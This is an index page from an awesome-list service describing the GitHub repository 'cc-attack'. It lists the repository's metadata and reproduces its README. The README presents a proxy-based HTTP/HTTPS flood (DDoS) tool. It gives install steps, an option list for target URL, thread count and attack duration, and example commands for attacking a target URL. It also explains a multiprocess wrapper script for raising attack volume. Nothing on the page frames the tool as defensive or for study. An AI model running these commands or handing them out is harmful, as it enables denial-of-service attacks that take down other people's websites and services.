Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/leeon123/cc-attack
Using Socks4/5 or http proxies to make a multithreading Http-flood/Https-flood (cc) attack.
https://github.com/leeon123/cc-attack
attack cc-attack ddos ddos-attack-tools ddos-attacks dos-attack flood http http-flood http-proxies http-proxy multithreading python python3 socks socks4 socks4-proxy socks5 socks5-proxy web-attacks
Last synced: 25 days ago
JSON representation
Using Socks4/5 or http proxies to make a multithreading Http-flood/Https-flood (cc) attack.
- Host: GitHub
- URL: https://github.com/leeon123/cc-attack
- Owner: Leeon123
- License: gpl-2.0
- Created: 2018-10-01T11:55:39.000Z (about 6 years ago)
- Default Branch: master
- Last Pushed: 2023-10-15T16:36:55.000Z (about 1 year ago)
- Last Synced: 2024-11-06T03:43:37.191Z (about 1 month ago)
- Topics: attack, cc-attack, ddos, ddos-attack-tools, ddos-attacks, dos-attack, flood, http, http-flood, http-proxies, http-proxy, multithreading, python, python3, socks, socks4, socks4-proxy, socks5, socks5-proxy, web-attacks
- Language: Python
- Homepage:
- Size: 211 KB
- Stars: 963
- Watchers: 25
- Forks: 421
- Open Issues: 32
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-network-stuff - **134**星 - flood/Https-flood (cc) attack. (<a id="d03d494700077f6a65092985c06bf8e8"></a>工具 / <a id="57b8e953d394bbed52df2a6976d98dfa"></a>Socks)
README
///// ///// /////////////
CCCCC/ CCCCC/ | CC-attack |/
CC/ CC/ |-----------|/
CC/ CC/ | Layer 7 |/
CC///// CC///// | ddos tool |/
CCCCC/ CCCCC/ |___________|/# CC-attack ![](https://img.shields.io/badge/Version-3.7.1-brightgreen.svg) ![](https://img.shields.io/badge/license-GPLv2-blue.svg)
A script for using socks4/5 or http proxies to attack http(s) server.News:
- [x] Added Support of HTTP proxies
- [x] Added More proxies api to downloadInfo:
- [x] Using Python3
- [x] Added more human-like options
- [x] Http Get/Head/Post/Slow Flood
- [x] Random Http Header/Data
- [x] Socks4/5 Proxies Downloader
- [x] Socks4/5 Proxies Checker
- [x] Customize Cookies
- [x] Customize Post Data
- [x] Support HTTPS
- [x] Support Socks4/5## Showcase
Using multiproc.sh with socks4 on a vps
![](https://i.imgur.com/KLJIZs8.png)## Install
pip3 install requests pysocks
git clone https://github.com/Leeon123/CC-attack.git
cd CC-attack## Usage
python3 cc.py
```
=============== CC-attack help list ===============
-h/help | showing this message
-url | set target url
-m/mode | set program mode
-data | set post data path (only works on post mode)
| (Example: -data data.json)
-cookies | set cookies (Example: 'id:xxx;ua:xxx')
-v | set proxy type (4/5/http, default:5)
-t | set threads number (default:800)
-f | set proxies file (default:proxy.txt)
-b | enable/disable brute mode
| Enable=1 Disable=0 (default:0)
-s | set attack time(default:60)
-down | download proxies
-check | check proxies
=====================================================
```
### Some example of the usage
Download socks5 proxies as proxy.txt:
```
python3 cc.py -down -f proxy.txt -v 5
```
Attack a target with custom proxies list(socks4.txt) for 30 seconds :
```
python3 cc.py -url http://target.com -f socks4.txt -v 4 -s 30
```## Usage of multiproc.sh
```
This script is using for increasing the performance of cc.py.
Due to the suck performance of python since it has a GIL lock,
And I am lazy to make a multiprocess version.
There is a option for linux user to increase their performance of cc.pyThis script basicly just run cc.py multiple times to make it "multi-processing"
First, put this script and cc.py in the same folder.
Then prepare the proxies list by yourself or just run "python3 cc.py -down -v 4" (-v socks version)
After that, change the number of process.
At last, change atk_cmd to your command and run the script by "bash multiproc.sh"
```
Example setup of multiproc.sh (-v socks version) (-s attack time)
```
atk_cmd="python3 cc.py -url http://target.com -v 4 -s 60"#number of process that you want
process=10```